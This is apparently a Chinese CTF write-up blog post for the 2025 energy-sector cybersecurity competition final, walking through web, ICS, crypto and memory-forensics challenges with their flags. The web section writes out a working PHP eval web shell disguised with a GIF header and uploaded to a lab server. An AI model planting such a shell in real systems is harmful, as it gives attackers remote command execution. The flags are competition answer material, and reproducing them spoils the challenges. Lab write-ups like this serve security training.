2025能源网络安全大赛-②决赛-个人赛B卷 WriteUp

web

Forbidden上传-B

http://172.100.3.159/upload.php 上传木马 GIF89a<?php @eval($_POST['cmd']); ?>
蚁剑连接得到 根目录的flag.txt

ICS

奇怪的工程图-B

Snipaste_2025-06-29_17-57-5611

可能是这个数。也可能差1下。搞个计时器周期电路自动跑。或者按梯形图自己写个脚本。

信捷工程分析-B

binwalk 解压出来个 test.exe

  strcat(Destination, "CVE-2021-34605");
  if ( (unsigned int)calculate_sha256(Destination, v9) )
  {
    v10 = hash_to_hex(v9, 32LL);
    puts("input your flag");
    *(_QWORD *)Str1 = 0LL;
    v8[0] = 0LL;
    *(_QWORD *)((char *)v8 + 7) = 0LL;
    scanf("%s", Str1);
    if ( !strncmp(Str1, "flag{", 5uLL) )
    {
      if ( !strncmp(&Str1[5], (const char *)(v10 + 14), 0x10uLL) )
        puts("you win");
      else
        puts("wrong flag");
      return 0;
    }

flag是CVE-2021-34605的sha256前16位。

flag{d3c523f97c3f0419}

异常Modbus流量溯源-B

只有一个 code 15, 地址是4xxx的

2024-07-15T02:00:00Z | Modbus/TCP | TransactionID: 0x11C2 | Function Code: 15 | Address: 45445
flag格式:flag{FC15_45445}

电力SCADA流量审计-B

tshark -r a.pcapng -Y “iec60870_asdu” -e “iec60870_asdu.addr” -T fields

去掉些没用的得到flag

flag{QKSW4LSFA9Y897RALE4OBNJDBV74VJ0U}

Crypto

密码

模式 - 小e攻击 .

然后栅栏密码.

flag{1be929d4fd0tt}

Misc

内存镜像溯源取证-B

vol 读取桌面有个xlsx, 用r-studio没有提取出来.

lovelymem说是能读取出来.

vol3 读取出来了.(但需要联网下个东西), vol2也可以。当时提取失败,回去测时文件就提取成功了。

vol.exe -f FishMemory.raw -o out windows.dumpfiles --virtaddr 0x1e4311c0

扫描命令行得到一个密码

JohnDos@123d

xls用这个密码打开。在a2单元格有flag UTF7编码。随波逐流一把梭。

posted @ 2025-06-13 17:07  wgf4242  阅读(89)  评论(0)    收藏  举报